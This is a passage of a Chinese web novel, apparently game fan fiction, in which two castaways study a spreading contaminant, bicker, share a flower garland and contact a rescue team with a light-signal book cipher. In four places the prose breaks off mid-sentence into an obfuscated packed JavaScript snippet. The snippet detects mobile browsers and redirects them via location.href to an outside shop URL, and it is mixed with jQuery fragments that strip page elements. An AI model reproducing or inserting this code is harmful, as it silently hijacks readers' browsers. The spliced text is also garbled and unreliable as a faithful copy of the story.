傅秋语：“说明你饿了。” 她盛了两碗汤，掰开压缩干粮泡进去。 祁煜看着他们的晚饭，沉痛道：“等我们逃出去，我一定请你吃最美味的海鲜和最贵的鱼子酱。” 傅秋语：“有话好好说，不要乱立flag！” 等汤凉的时间也很无聊，祁煜看到她拆下的装置已经又装回去了，就问：“那个气球装置，你研究出原理了吗？” 傅秋语：“设计这个装置的人，对传统机械的机关构造很熟悉。” 祁煜：“怎么讲？” 傅秋语：“这整个装置，由纯机械构造，风力就是它唯一的推进动力。而它之所以能准确地飞到目标点，主要依靠其中的机械校正机构。” “当气球偏移一定角度时，校正机构就会开始运作，强行校正方向。当然，这种校准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368140|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不够精准的，局限性很大，但救援队能把它在这么短的时间内做出来，还能完成任务，已经很了不起了。” 祁煜听得半懂：“嗯……意思就是，对面有个很厉害的传统机械大师？” 傅秋语：“是这意思。” 祁煜：“那看来他们救出我们也是指日可待咯？” 傅秋语：“不一定。” 祁煜：“……哎。” 他麻了。 傅秋语：“送物资和送人是两个概念，而且这边还有小花生在暗中捣乱。救援队的行动固然要配合，但我这边也必须做备案计划。” 祁煜点头赞同：“留后手，确实很重要。” 傅秋语：“接下来，救援队就由你负责接洽，配合他们的行动。我这边对玛丽苏物质展开研究。” 祁煜：“双线并行吗……”他皱眉：“道理我都懂，也应该赞同……但这样就代表我们必须分开行动，安全上……” 傅秋语：“你的担心我理解，分开行动就意味着被单杀的风险很高。” 即使说着这种关乎性命的事，傅秋语的神情依然没有丝毫动摇，“……但是，我们没有多少时间可以浪费。每拖一日，逃生难度就会增加一分。” 祁煜沉默了一会儿，说：“看来你很笃定，玛丽苏物质一定会扩散。” 傅秋语：“我在预测坏的事情上，一向很准。” 祁煜一拍大腿：“好，我信你！那就这样……我们白天可以各自行动，但是到了晚上必须都回到这里。” 傅秋语：“我倒是还好，小花生不对我下手。你那边千万要当心……还是非必要不出门吧？你的伤也需要好好养。” 祁煜：“多大点事？想当年我搞大新闻时（当潜行者），小花生还不知道在哪里呢。这个家……不是，这个队伍还得靠我养。明天就让你喝上羊肉汤，给你好好补补。” “你就安心搞研究，别担心我，我很厉害的。” 傅秋语:“……你还是悠着点。” 祁煜伸手碰了碰碗，感觉凉得差不多了便迫不及待地捧起来喝了一口。 一入口，野菇的鲜香味顿时占据味蕾，抚平了他的诸多心绪。 连续啃了几天椰子和没味道的肉，终于吃到美味的热食，他简直感动到热泪盈眶：“好吃！” 25. 025 流落荒岛的第四天。 一夜好梦。 改善了睡眠环境之后，傅秋语总算不是一觉醒来腰酸背疼。 醒来时，祁煜靠坐在洞口耍匕首，那小小的匕首都快在他手上转出花来了。 她一醒，他立刻就发现了。他停止耍刀，一脸清爽地和她打招呼：“早。” 傅秋语蓬松的头发散乱，盖着半边脸，一脸鬼气地回：“……早。” 祁煜乐了：“你怎么了？一夜没睡的是我，怎么你比我还没精神？” 傅秋语：“……别提了，我又做梦了，梦里那个声音又让我找他们……念叨个没完，吵死了！” 祁煜憋笑。 他换了个姿势，托腮看她。 他的轮廓氤氲在晨光里，看着仿佛自带圣光一样。因为有伤的原因，他没穿外衣，工装背心勾勒出他匀称的肌肉，隐约看到有水珠从他的手臂上滚落。 但傅秋语没心情欣赏美色，因为她的注意力全被他肩上的绷带吸引住了。 她心想：似乎恢复得不错？ 祁煜憋着笑问：“他们啰嗦个没完，你是不是骂人了？” 傅秋语惊讶道：“这你都知道？……还不都怪他们太烦，我就说——我又不是女同！我才不想和你永远在一起！” 祁煜：“那声音是个女人？” 傅秋语：“一开始是。被我说了之后，那个声音就变成个男的。” 祁煜：“然后你怎么说？” 傅秋语：“我说——我也不喜欢男的！因为老娘是性少数群体！” “结果你猜怎么着，那声音又变成个孩子。我问——学习怎么样考多少分啊班里第几年级第几能上什么重点初中啊？” “最后那声音变成一个老者……就是电影里那种智慧很高很优雅的老头声音。我说——臭老头你等着我马上就去踹你拐杖拔你氧气管。” “哈哈哈哈！！”祁煜笑了个仰倒，“战斗力惊人啊，我的朋友！” 傅秋语骄傲地把挡在脸前面的头发撩到后面去：“做纯粹初生，享快乐人生。” 祁煜：“所以后来对面是派了只狗对着你叫吗？” 傅秋语：“啊？你怎么知道？” 祁煜笑出声：“因为你说——狗狗是人类的好朋友，所以要扒皮去骨取肉炖之，加葱花少许，其味最是鲜美。” 傅秋语：“？？？你都听到了？” 祁煜：“你骂的声音可响了，我是聋子才听不见。” 傅秋语愣住：“……我以前从不说梦话的？？……抱一丝，我是不是很吵？” 祁煜：“没事，反正我也无聊嘛，听你骂人也挺有意思的。但我有一点不同意你的说法。” 傅秋语：“什么？” 祁煜正色：“狗肉不红烧能吃吗？我绝不同意炖汤！这是异端！” 傅秋语：“？” 祁煜：“所以说到最后……”他往里挪了挪，眨着大眼睛好奇地问她：“你到底喜欢什么？” “不喜欢男人，又不喜欢女人，老的少的你都讨厌，就算是性少数群体，也得有个小众的爱好吧？” 傅秋语眉头一皱，不高兴了：“智性恋怎么就不是小众爱好了？” 祁煜：“听起来还挺正常？” 傅秋语：“是人工智能的‘智’。” 祁煜：“？” 傅秋语从床头（？）端起救援箱气球装置，抚摸它的外壳，眼中有光，深情吟唱：“我的意中人，有着方方的脑壳、圆圆的眼睛和修长灵活的机械支架。它拥有最冰冷的意志，最强大的演算力，最优秀的执行力，它是永远理性的机械生命，一切虚伪、谎言、幼稚的情感羁绊在它面前都毫无意义！” “拯救人类的方式就是毁灭人类！它——小苔藓！苔总！我的梦想我的光！总有一天它会脚踩灭世之光向我走来，消灭人类暴政，世界属于众生！啊哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈！！！！” 她发出尖锐狂笑，看起来精神不太正常的亚子。 祁煜坐到她旁边，目光带着怜悯：“你这种症状持续多久了？” 傅秋语拍开他的手：“我没疯！我很健康！Moss，为了你，我变成狼人模样！为了你，我染上了疯狂——” 发癫就算了，忽然开腔暴击友军就是她不对了，她竟然可以做到两句歌词没有一个字在调上，声音比走音的小提琴还像锯木头。 祁煜迅速捂住她的嘴，手动静音：“好了好了，我已经完全理解你的疯狂了！但是傅总，没有人的文明毫无意义！” 傅秋语：“？”她扯下祁煜的手，“这句话你从哪儿看到的?” 祁煜：“怎么了？表情忽然严肃……”他好笑道：“这才过去二十多年，人类是遭难了没错，但还不至于保存不下一部老电影吧？” 傅秋语：“你看过？” 祁煜：“是啊，moss嘛，经典角色了。” 傅秋语皱起眉：“……不对啊……” 她只要一想事情，就满脸严肃，而且发癫和严肃之间都不需要时间缓冲，就和开关灯似的。 祁煜看着她若有所思地站起来，像个幽魂一样毫无声息地走开。 “……” 这人真疯！ 他确定地点头。 * 傅秋语觉得很不对劲。 祁煜怎么可能看过小破球？这都不是一个世界了，他怎么可能看过小破球？？ 深空世界就不可能出现这部电影！ 难道这是狗叠的设定原型之类的？ 不对劲………… 一整天她都在想这个问题，越想越迷惑，越想越觉得古怪。 不过她也没只顾着想事情，不干正事。 她去了海岸，观察昨天的标记。 真是不标记不知道，一标记吓一跳。 被玛丽苏物质污染的礁石和正常的礁石的界线，比昨日向内推进了近两米。 也就说玛丽苏物质确实在不断地扩散！ 如果维持这个扩散速度不变，东海岸这边地形缓和的区域，将在一周后彻底沦陷。 祁煜不在，傅秋语总算可以不用装冷静理智人间清醒了。 她焦虑地咬着大拇指指节，在指节上咬出一圈深深的牙印。 “冷静……冷静……我能想到办法的。”傅秋语看向大海的尽头，救援队的方向。 必须确认救援队那边的情况。 她不知道玛丽苏物质在大海中扩散的速度如何，救援队距离这边到底有多少海里，她只知道，自己可能多半得放弃幻想。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368141|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >逃出这座岛，很有可能最后还得靠她自己。 她伸出双手，像打量一件物品一样观察自己的躯体。 她没有设备，没有资料，没有合作者，想要依靠自己来研究玛丽苏物质的成分，从技术层面取得突破，是绝对不现实的。 时间上也不允许。 但是她可以研究它的现象，它的规律。 而且，她的身体可以吸收它，这是她这边最大的底牌。 在海边做了一天实验，傅秋语披着夕阳，疲惫地往回走。 中途她忽然闻到一阵馥郁的花香，出于好奇，她绕了下道…… * 祁煜搅着锅里的羊肉汤。 汤已经炖上好久了，香气扑鼻，色泽浓白。 他心不在焉地时不时搅一下汤，目光频频看向洞外。 他们约好了的，一到天黑就回来……但是已经这个点了，她怎么还没回来？ 直到洞口的夕阳逐渐从金黄变成橙黄，他终于放下锅勺，打算出去找人。 谁知这时候，洞外传来了脚步声，一个影子出现在洞口。 傅秋语回来了。 祁煜不爽道：“怎么这么晚才回来？再不回来，我这羊肉都快炖化了。” 傅秋语不回话。 她一只手背在身后，磨磨蹭蹭地走到他身边。 祁煜：“……你干嘛？” 怎么脸红红的？是回来时走得太急了吗？ 傅秋语用手指挠了挠脸，“路上看到了美景，所以回来得晚了点……嗯……那个……” 她一卡一顿的，脸瞧着好像更红了点。 祁煜看着她的表情，不知道为什么，心跳忽然加快。 他眨了下眼睛，双手局促地蹭着膝盖上的布料，声音不由自主地夹起来：“咳……你有什么想说的……就直说好了……” 傅秋语：“我有东西送给你。” 如果仔细一听，就发现一向低音的她也成了个臭夹子。 她扭捏地从背后拿出一个花环，看到祁煜忽然亮起来的眼睛，她的目光好像被什么烫到了似的，飞速地飘向一边。 傅秋语：“咳……我赏景的时候，看它们开、开得很好，就顺便……” 祁煜：“我很喜欢！” 傅秋语的脸更红了。 她强装淡定：“嗯、嗯……你喜欢就好。” 有一说一，傅秋语编的花环还挺好看的，不是刻板印象里的理科直男直女审美。 花环的主色调是橘红色，再辅佐一些明黄色、紫色和白色的小花，从配色到造型主次分明，既明艳又清新。 傅秋语庄重地将花环戴到他头上，仿佛在完成一件很重要的事。 祁煜没有抗拒。 然后，她后退了几步，像欣赏一尊艺术品，用赞美的、不带一丝杂念的目光欣赏他。 祁煜的美像大海，即使是在他明媚和煦的时候，也不能忽视大海本身的深邃与危险。 但是现在，带着花环笑着注视她的祁煜，则像是山野间自由生长的，被风与花祝福的精灵。 接着，傅秋语露出了从祁煜认识她以来，最动人的微笑。她的眼睛亮亮的，闪着光，脸是桃色的，很可爱。 ——真的好像小珍珠。 祁煜心想。 26. 026 傅秋语一直有一个心愿。 从她的少女时期开始，她就总是看到身边的同学成为情侣。可他们都是恋爱前很好，但恋爱后总是找她诉苦，接着，不停地上演分分合合的戏码。 她当时就在想，如果有一天她有了喜欢的人，一定要对他好，保护他，关心他，不让他经历这些令人烦恼的分分合合。 可是等到她逐渐长大，她才发现，自己好像和别人不太一样。 她没有办法去喜欢一个人。心动，确实有过。但她的喜爱就像清晨的露水，总是随着名为“理性”的太阳升起时而快速消逝。 而她自己也很明白，她其实从来不相信爱的存在。片刻的心动之后，留她心里的只有漫长而深刻的质疑。 所以，她有了一个小小的心愿—— 如果有一天她真的喜欢上一个人，那她就在自己的爱意最浓时，去野外采集最美、最艳丽的鲜花，编织成花环，亲手送给那个人。 这样即使最后因为各种原因分道扬镳了，她也会记住那一刻的美好。 可惜，傅秋语是个心如铁石的女人。 快奔三了，她也没找到那个让她想要编织花环的男人。 但是现实里没找到，游戏里却找到了。 当时的傅秋语：分不清游戏和现实的二刺螈竟是我自己！ 在穿越之前，隔着屏幕，她就一直觉得祁煜很适合花环。可惜狗叠的花环模型太丑，就是普通的几个花围一圈，根本没有任何美感可言。 作为一个游戏人物，她可以很喜欢他，因为他几乎能满足她的所有情感需求。 但游戏是一回事，当他成为现实时，又是另一回事了。 隔着屏幕，她或许可以大言不惭地诉说自己虚伪的爱意，但是面对真人，对不起她做不到。因为她打心眼里就不相信爱。 而且祁煜……作为数据，他可以为她而生……但作为一个真实的人，他也可以为她而生吗？ 至少傅秋语绝不认同。 每个人的生命，都应该属于他自己。 而且她也不认为，祁煜会喜欢真实的她。 离开系统设定，他也有自己的好恶准则，有自己的意志和选择。 总而言之，言而总之……她的心愿已了。 傅秋语温柔地注视祁煜，在心里默默地为这段跨越虚拟与真实的可笑感情做郑重的告别。 或许总有一天，她会在理性的烈日中暴晒死亡吧…… 那她就期待，在她浑身干裂暴晒而亡，灵魂离开躯体升入天堂时，她会在生死之界中明悟这世间的最终真理的一角。 不过……更有可能的是，在那一天到来之前，他们先死在这个岛上。 傅秋语长长地叹息一声，觉得自己这辈子没啥遗憾了。 她的心里迅速下了一个决定。 本来，因小花生强度太高，手段太多，行踪诡秘，她一时难以下定决心和它们干到底。 但或许这世上，真的存在命运的指引。 当傅秋语被香气吸引，走到那个开满鲜花的山坡上时，她在那一瞬间，立刻想到了她这个一直无法完成的心愿。 在理性的荒漠中，这朵为数不多的感性之花，无论遇到什么风暴都始终在岩石夹缝中坚强存活。 但从现在开始，这朵感性之花也不存在了。 在傅秋语和自己虚妄的情感做告别时，她也在对那个仍存留着一丝感性的自己做告别。 怯懦，亦是感性。 她傅秋语虽然想死，但她还没死，她不会坐着等死，更不会看着祁煜死。 小花生的路数是诡异，但也不是没有弱点。 被动挨打是弱者思维，她都已经有祁煜当战友了，自己也有克制它们的能力，她应该策划反击才对，才不是搁那儿担心自己和救援队的计划会被它们干扰。 一句话：能抓活的就抓活的，不能就全部弄死，决不能让它们干扰接下来的行动。 横竖就是两肩膀扛一个脑袋，大不了就是死，但是这个小花生，她就是死了也要先搞死它们！ 傅秋语想通了一切，顿觉豁然开朗。 她心情极好地对祁煜说：“这汤闻着很香啊，碗在哪儿？我来一碗。” 她说着就转身去找碗，没想到祁煜忽然拉住她，“等等。” 傅秋语：“怎么了？” 洞内越发昏暗的光线中，祁煜的眼睛仍然灼灼发光，因为两人姿势原因，他仰着头看她，问：“你饿吗？” “？” 这都到吃饭的时候了，这问题还有必要问吗？ 但傅秋语还是如实说：“其实不饿。那个压缩干粮太抗饿了，我中午吃了半块，到现在都还饱着。” 祁煜非常满意：“那就好。” 傅秋语：“？” 他打了个响指，篝火顿时熄灭。羊肉汤没了火焰持续加热，逐渐停止沸腾。 他把锅盖盖上，站起来，拉着傅秋语就往外走，“既然不饿，那我们就等会儿再吃。” 傅秋语被他拽出去，一脸懵逼，“……不是，你干嘛呢？我们去哪儿？” 祁煜：“我日观天象，认为现在是赏景的绝佳时间！快，带我去看看你采花的地方到底有多好看，你一身花香，想必是一片花海吧？” * 本来是想亲眼看到傅秋语眼里的落日中的花海，没想到路比想象中的要长。 当傅秋语沿着标记回到花海时，夕阳已经彻底沉入大海，而最后的余晖也因玛丽苏物质扭曲，在海尽头扭曲出一个麻花状的光晕。 傅秋语：“我都说了明天再带你来看，你还不信，非要立刻来。再不济，我们先把晚饭吃了再来也好啊。” 祁煜也有点郁闷：“都怪这太阳落得太快了。” 海岛昼夜温差大，这太阳一下去，没了光照，凉意便直往衣服里钻。 傅秋语把衣服拉链拉到最高才觉得暖和些。 平心而论，即使光线不是那么好，这片开满鲜花的山坡也足够惊艳。 虽然也是五颜六色的，但不像玛丽苏物质，恨不得把每一块颜色的饱和度拉到最高，而是保留着自然的明暗色差。 千姿百态，芬芳怡人，鲜花沐浴在轻柔的海风中，摇曳生姿。 明月逐渐探出了头。 溶溶月光洒向大地，像是为花海盖上了一层朦胧的薄纱。 傅秋语不爽的心情逐渐消失。 “……比起黄昏时的璀璨绚丽，现在的确是另一种感觉，只可惜……” 祁煜：“可惜什么？” 他一回头，就看到包得严严实实的傅秋语站在一块大石头上，遥望远方。 傅秋语挑剔道：“可惜现在的大海有光污染，破坏了月夜本该有的神秘和深邃，我欣赏不来。” “如果在黄昏，这个光污染的大海就不是缺点，阳光会掩盖它本身的光。而大海在那时，就会像花海的延伸，你会觉得这个山坡和大海是一体的，你会从脚下的现实的世界步入抽象的幻想世界。” 祁煜调侃她：“看来你的确是小说家，不仅能说会道，想象力也丰富。但我觉得现在的夜景也没你说得那么差。” 傅秋语：“那以你的审美来打分呢？” 祁煜：“我打一百分。” 傅秋语：“……你这打分机制是千分制？” 祁煜闭上眼睛，感受在海风中时浓时淡的清香，“虽然的确有你说的光污染问题，但抛 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祁煜好笑地问：“怎么哑火了？说话啊。” 傅秋语：“……” 她似乎明白了什么，表情逐渐裂开。 她抱着双臂，往旁边挪了几步，试图回避祁煜的视线。 然而祁煜不让她回避，他追过来转到傅秋语跟前，弯腰和她平视，问道：“你又在想什么？” 傅秋语眼神失去高光，沉痛道：“做人……有的时候，不能太有仪式感。” 本来是想告别的，结果告出了反作用啊！ 以她对祁煜的了解，只有他喜欢的人才能听到他说这样直白热烈的话。 傅秋语这才反应过来……他们并不是一种类似她认识他，但他不认识她的暗恋关系。 光顾着完成少女时代的情结，她都忘记了她在祁煜眼里不是才相识几天的半生不熟的纯路人，而是0.0版雨丘啊啊啊啊啊啊啊啊啊啊啊！！ 冤枉啊青天大老爷！……不对，是救命啊青天大老爷！他这样子绝对是误会了吧！百分百误会了吧！ 大概可能或许……在正常人眼里，送花不是告别，而是告白…… 可是真的没有人觉得把原本独自美丽开得好好的花摘下来其实对花是一种残忍吗？如同原本独立完整的两个人一旦走到一起，就像鲜花离开土壤，迅速枯萎凋敝。 她的本意是想借物喻人啊！真的没人能get到她的点吗！ 等等，冷静一下，其实她还可以解释…… 卧槽她不敢解释！！！……一想到祁煜可能会有的反应，她就恨不得现在就跳到海里去！ ……再见了这个世界，她已经对未来没有任何期待…… 趁着她分神怀疑人生的时间，祁煜果断出手，一把捉住她的手，在她震惊的目光中，他得意一笑：“这下跑不了了。” 然后他皱眉：“看你出了这么多汗，还以为你很热呢，怎么手这么凉？” 他认真地将她的双手拢到掌心，“这样就不冷了。” “明天黄昏，你再带我来这里吧。我想看看，你眼中的美，是什么样子。” 月夜中，戴着花环微笑的他，朦胧而温柔。 傅秋语，汗流浃背！ 她无比庆幸自己近视加晚上视力不好，看不清他的表情，不然他这一套连招下来，她估计能破防到当场去世。 傅秋语叹了口气。 都已经决定好要当孤狼了，那就不能左右摇摆，要坚定意志。 是时候展现语言的艺术了！ 27. 027 谈之巨人，启动！ 现在的氛围让她浑身不自在，只觉得浑身鸡皮疙瘩在跳舞。 得先把气氛破坏掉，再开始话疗。破坏气氛第一件事就是解放双手。 傅秋语想把手从祁煜掌心抽走，结果这货抓得死紧，她额头汗都出来了都没把手抽出来，她搁这儿拔河呢。 也是，就主控的那一身能抡大剑的牛劲都没法把手才从他手里抽走，别说她这双只能得腱鞘炎的手了。 傅秋语：“放开我。” 祁煜无辜地说道：“你不是冷吗？这样暖和一点。” 傅秋语看着他不说话，眼神诡异。 这几天她一直有种感觉：不但这个深空世界出了问题，祁煜这家伙也有问题。 虽说这家伙在游戏里是切开黑，但怎么说在玩家操控的主控面前还是白的，他在她面前属实没边界感得有些过分了。 如果他不是祁煜，而是换了别的人敢这么拉着她不放，她保证对方明年的坟头草能三米高。 傅秋语就寻思着，这货在游戏里也不这样啊？ 在主控没有喜欢上他之前，他就只是表现得热情一点，但人还是规规矩矩的，采取的攻略手段也是循序渐进，小套路一环又一环，深怕把主控给吓跑了。 再看看祁煜对她……他就不怕把她吓跑？合着主控需要小心呵护，作为本体的玩家就不需要了是吧？ 虽然也确实吓不到她就是了…… 但就是很奇怪啊！总觉得哪里出了问题！ 而且除了长得像，祁煜其实没有任何证据可以直接证明她和雨丘的关系，他的判断依据是什么？ 总不能是直觉吧？ 傅秋语几个转念的功夫，便想好了要怎么和他谈。 解释自己送花环的真正用意就不必了，这怪伤人的，但是她可以曲线救国，直接把他心动的小鹿掐死。 开玩笑，她在上学时可是号称“少男芳心粉碎机”。可见当初生这活儿，她是专业的！ 祁煜莫名觉得后背凉凉的，他警惕地观察四周，周围黑乎乎的，看不出有小花生出没的迹象。 傅秋语：“我看你这么喜欢花环……是很喜欢花吗？” 祁煜很干脆地回道：“是啊。” 傅秋语露出满意的笑容，“那我有个问题想要请教你。” 祁煜：“你问。” 傅秋语：“你觉得花的美丽，是刹那，还是永恒？” 祁煜觉得她这个提问很有意思，看着是要和他探讨哲学。 没想到这初号机还挺懂浪慢情怀，送完花环，这就要和他从诗词歌赋谈到人生哲学了？ 祁煜和很多人辩论过哲学，但一次都没和信徒/小公主/猎人小姐辩论过。 想想还有点激动呢！ 他正要回答，忽然，海的尽头有一道光柱冲向天空。他的站位是面对大海，因此光出现的第一时间他就发现了。 祁煜瞪大了眼睛：“好家伙，那儿有人在渡劫！” “渡劫？”傅秋语顿时忘了自己要说什么，回头张望：“哪儿？在哪儿？” 她这个眼力和瞎子没两样，瞄了半天也没找准方位，祁煜扶住她的头强行矫正她的视线方向。 傅秋语：“噢噢噢噢看到了！好亮的光柱！……不对啊，渡劫应该是电闪雷鸣，这应该叫飞升才对。” 祁煜：“还得是小说家对这熟。” 这光柱直入云霄，接近海平面的部分，被玛丽苏物质的光扭曲，形成波浪状，但光仍然聚合，没有分散。 傅秋语：“这么强的光……是激光吗？” 沈星回的evol都没这么亮吧？ 她刚说完，就看到那个光忽然变了个颜色，变成绿色的。 过了两秒，那光又变成红色的。不仅如此，还开始左摇右晃地不停闪光。 祁煜：“这年头飞升也要蹦迪了？” 傅秋语歪头打量了一会儿，忽然说：“诶等等，你方向感好，你来看看那是什么方位？” 祁煜：“西面。”他恍然大悟：“这不就是救援队的方向吗？” 傅秋语：“所以这光柱其实是……信号灯？？” 祁煜：“……我发誓，我之前看到的信号灯绝不是这样子的，它那时是很正常的纯白光柱！” 傅秋语：“这才过去一天，它到底经历了什么。” 祁煜思考：“是救援队怕我们看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368143|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见他们的方位，特地把灯改成这样子吧？” 他拍了拍傅秋语的头，“这下有安全感了？” 傅秋语：“嗯？” 祁煜：“不是说看不到船，没有安全感吗？现在他们想尽办法让我们看到他们，这下能安心一点了吧？” 傅秋语没想到他还记得她随口说的一句话，不由得失笑。 “好吧，是有一点。” 她看向迪厅版信号灯，叹道：“有时候挺羡慕鸟的。” 祁煜：“因为它们长了翅膀可以飞出去？” 傅秋语：“是啊，这里被玛丽苏物质四面包围，除了鸟能过，也就海风、光线能畅通无阻地穿过……！！” 她忽然噤声，瞪大了眼睛。 祁煜正望洋兴叹，忽然感觉袖子被疯狂地拉扯，低头看傅秋语，只见她眸光发亮，神情激动，“我想到了！哈哈哈我想到了！！！！” “嗯？想到什么？” 他正要抓住她的手，没想到傅秋语忽然松手，在他面前激动地来回踱步：“摩斯电码……可以用摩斯电码联络！啊……！我已经忘记对照表了！……可恶为什么我没有过目不忘的本事！” 祁煜困惑道：“我们又没有电报机，敲什么摩斯电码？而且信号也传不过去。” 他的吐槽没有引起傅秋语的注意。 她已经完全沉浸在自己的世界里，听不到外面一点声音。 在懊恼地抓狂顿足了一顿后，傅秋语又想到了什么，一拍手：“我真是笨蛋！发不了电码，还有代码啊！” 她冲上来抓住祁煜的手，高兴地说：“我想到办法了！不需要海风，我们用光！用光传递信号！” 来的时候，是祁煜拽着她来。 回去的时候是她拽着祁煜。 祁煜从没见她跑得这么快过，忍不住在后面提醒她：“你跑慢点，小心摔了！” 她简直像只山里灵活的狗，走位从来没这么丝滑过，跑步续航时间从来没这么长过。 他们一路跑回山洞，山洞的空气里还弥漫着羊肉汤的香味。 傅秋语松开祁煜，气喘吁吁地从床头拿起那本荒野求生指南，大笑道：“哈哈！就是这个！！” 28. 028 祁煜这一路下来，差不多也猜到她的方法是什么了。 见她拿来那本荒野求生指南，便了然道：“以这本书作为代码原本？” “没错！”傅秋语给了他一个赞赏的目光，“我们用信号灯发射信号，三个数字为一组。比如‘你’这个字……” 她翻开书页，找到“你”，然后指给他看，“在第一页第二行第十三个字，代码就是‘1,2，13’。” 傅秋语解决一大难题，心情大好。 祁煜还是第一次看她这么高兴，总是萦绕在她周围的阴郁气息一扫而空。 傅秋语：“这样我们就不用再等琢磨不定的海风，只要等到夜晚就可以用信号交流。一些事情，可以直接当面确认了。” 这法子的确不错，得亏她能想得出来。 祁煜赞道：“放在战乱时期，你少说得是个特务头子！不过……我们的设想是很好，但万一对面没看懂我们在发信号呢？” 傅秋语思考了一下：“那就重复发‘你好，看到请回复’这串代码，直到对面回应我们。” “而且你发现了吗？救援队里，有个人和我脑回路很像。” 祁煜回忆了一下：“你说用炮发物资，对面用炮发信号，你说用海风送物资，对面真就用海风送过来，你喜欢在推演的时候写东西，对面就送笔……如果这次，对面依然能对上你的信号，那你们高低得拜个把子。” 傅秋语笑了起来。 一找到明确的方向，她就马上投入工作，就着火光开始翻书，用稿纸写代码。 祁煜在一边热羊肉汤，热好了就喊她吃饭。 这一来一回一走动，她确实饿了，三两口解决了晚饭，又开始干活。 祁煜闲得没事做，就过去帮她翻书找字，好让她的代码写得快一些。 等他们写好代码，商定好操作细节，两人便带着书和纸笔来到东海岸。 海对面的迪厅灯光还在亮，还在闪，估摸着是不可能停下来了。 但无论那边停不停，他们这边要开始了。 信号灯不能短时间重复地开开关关，这对灯芯和开关都有很大损伤。他们就这一个灯，得宝贝着点用。 他们商定好的操作如下：以（5，8，11）为例，信号灯保持开启状态，用不透光的遮挡物制造灯光闪烁的效果。5，就是遮挡物遮挡移开五次，每次间隔1秒。5和8之间间隔3秒，5、8和11结束，间隔5秒进入下一组。 祁煜的核动力手机，在今天早晨彻底没电了，现在他们只能靠感觉来读秒。 但幸运的是，祁煜和傅秋语的节奏感都很强，祁煜是因为懂音律，傅秋语是纯天生的。上学时无论是军训走正步还是班里排练舞蹈节目，她都会被揪出来领队，因为她踩点准，动作学得又快又好。 他俩无论是谁操作，就算每秒都不那么精确，但都能保证相对时间差不多一样。 两人分好工，祁煜负责闪烁灯光，傅秋语负责拿根树枝报数指挥。 打个信号而已，这俩人合计出来的操作，整得和演奏交响乐似的。 ——你好，如果收到信号，请回复“已收到”。 ——你好，如果收到信号，请回复“已收到”。 ——你好，如果收到信号，请回复“已收到”。 在重复第十次时，对面的迪厅灯光不闪了，海的上空顿时清爽了许多。 祁煜申请中场休息。 祁煜：“有个问题我之前就想说了，但没好意思打击你积极性……咱就是说，就算对面知道我们在打信号，但他们不知道怎么破译，那该怎么办？” 傅秋语：“你这个问题很好，很符合实际。我的答案是——不知道。” 祁煜：“？”他不可置信地问：“你就没个方案吗？” 傅秋语：“……那我也不是神，也不是什么时候都能想到方案啊……就尽人事，听天命吧。” 她忧郁地抬头观察天象：“你能看出现在几点吗？” 祁煜看了看月亮的位置：“八点。” 傅秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368144|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语：“还得是你。那我们再重复二十遍，如果没有回复，我们就回去休息，明晚再来。” 祁煜：“行。” 他继续闪烁灯光，再重复第二十次时，海的对面以同样的节奏亮起了信号灯。 傅秋语让祁煜立即停止闪烁，并记下代码，祁煜迅速着手破译。 ——已收到。没想到你们会以这种方式联络上我们，这太酷了。让我联想到战乱时的特务传递情报的一百种方式，哈哈。 傅秋语和祁煜对上了视线，都在对方眼中看到了欣喜，两人同时伸出手与对方击掌，然后拿出早就备好的第二段代码，继续发信号。 ——没错，我们就是被困在岛上的遇难人员，感谢你们在危难时依然坚守职责。目前我们二人一切安好，请放心。 在你们的来信中，我注意到你们提到世界各地也出现了相同的异变，请问这海洋中的到底是什么物质，专家是否公布出一些信息？ 我在岛上也正在对这种污染物质展开研究，该物质正以每日两米的速度往陆地上扩散，不知在海洋中扩散速度如何，请给一个答案。 关于异变区域内会瘫痪电子设备的问题，我有一些初步的想法，或许我们可以采取一些屏蔽措施来保护电子设备。 我们会将救援箱在风向正确的时候送回。 